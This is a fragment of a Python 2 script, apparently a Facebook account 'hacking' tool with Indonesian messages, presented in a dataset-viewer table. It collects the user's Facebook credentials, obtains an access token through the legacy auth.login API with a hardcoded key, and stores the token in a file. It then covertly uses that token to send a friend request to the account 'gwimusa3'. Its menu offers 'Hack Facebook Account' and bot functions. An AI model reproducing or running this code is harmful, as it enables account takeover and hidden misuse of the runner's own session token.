text stringlengths 0 93.6k |
|---|
id = raw_input('\x1b[1;91m[+] \x1b[1;36mUsername \x1b[1;91m:\x1b[1;92m ') |
pwd = getpass.getpass('\x1b[1;91m[+] \x1b[1;36mPassword \x1b[1;91m:\x1b[1;92m ') |
tik() |
try: |
br.open('https://m.facebook.com') |
except mechanize.URLError: |
print '\n\x1b[1;91m[!] Tidak Ada Koneksi' |
keluar() |
br._factory.is_html = True |
br.select_form(nr=0) |
br.form['email'] = id |
br.form['pass'] = pwd |
br.submit() |
url = br.geturl() |
if 'save-device' in url: |
try: |
sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=' + pwd + 'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32' |
data = {'api_key': '882a8490361da98702bf97a021ddc14d', 'credentials_type': 'password', 'email': id, 'format': 'JSON', 'generate_machine_id': '1', 'generate_session_cookies': '1', 'locale': 'en_US', 'method': 'auth.login', 'password': pwd, 'return_ssl_resources': '0', 'v': '1.0'} |
x = hashlib.new('md5') |
x.update(sig) |
a = x.hexdigest() |
data.update({'sig': a}) |
url = 'https://api.facebook.com/restserver.php' |
r = requests.get(url, params=data) |
z = json.loads(r.text) |
zedd = open('login.txt', 'w') |
zedd.write(z['access_token']) |
zedd.close() |
print '\n\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mLogin success' |
requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token=' + z['access_token']) |
time.sleep(1) |
menu() |
except requests.exceptions.ConnectionError: |
print '\n\x1b[1;91m[!] Tidak Ada Koneksi' |
keluar() |
if 'checkpoint' in url: |
print '\n\x1b[1;91m[!] \x1b[1;93mAccount Has Been Checkpoint' |
os.system('rm -rf login.txt') |
time.sleep(0.01) |
keluar() |
else: |
print '\n\x1b[1;91m[!] Gagal Masuk' |
os.system('rm -rf login.txt') |
time.sleep(0.01) |
login() |
def menu(): |
try: |
toket = open('login.txt', 'r').read() |
except IOError: |
os.system('clear') |
print '\x1b[1;91m[!] Token not found' |
os.system('rm -rf login.txt') |
time.sleep(0.01) |
login() |
else: |
try: |
otw = requests.get('https://graph.facebook.com/me?access_token=' + toket) |
a = json.loads(otw.text) |
nama = a['name'] |
id = a['id'] |
ots = requests.get('https://graph.facebook.com/me/subscribers?access_token=' + toket) |
b = json.loads(ots.text) |
sub = str(b['summary']['total_count']) |
except KeyError: |
os.system('clear') |
print '\x1b[1;91m[!] \x1b[1;93mSepertinya akun kena Checkpoint' |
os.system('rm -rf login.txt') |
time.sleep(0.01) |
login() |
except requests.exceptions.ConnectionError: |
print logo |
print '\x1b[1;91m[!] Tidak Ada Koneksi' |
keluar() |
os.system('clear') |
print logo |
print '\x1b[1;97m\xe2\x95\x94' + 50 * '\xe2\x95\x90' + '╗' |
print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m Name \x1b[1;91m: \x1b[1;92m' + nama + (39 - len(nama)) * '\x1b[1;97m ' + '║' |
print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m FBID \x1b[1;91m: \x1b[1;92m' + id + (39 - len(id)) * '\x1b[1;97m ' + '║' |
print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m Subs \x1b[1;91m: \x1b[1;92m' + sub + (39 - len(sub)) * '\x1b[1;97m ' + '║' |
print '\x1b[1;97m╠' + 50 * '\xe2\x95\x90' + '╝' |
print '║-> \x1b[1;37;40m1. User Information' |
print '║-> \x1b[1;37;40m2. Hack Facebook Account' |
print '║-> \x1b[1;37;40m3. Bot' |
print '║-> \x1b[1;37;40m4. Others' |
print '║-> \x1b[1;37;40m5. Update' |
print '║-> \x1b[1;37;40m6. Logout' |
print '║-> \x1b[1;31;40m0. Exit' |
print '\x1b[1;37;40m║' |
pilih() |
def pilih(): |
zedd = raw_input('╚═\x1b[1;91m▶\x1b[1;97m ') |
if zedd == '': |
print '\x1b[1;91m[!] Can\'t empty' |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.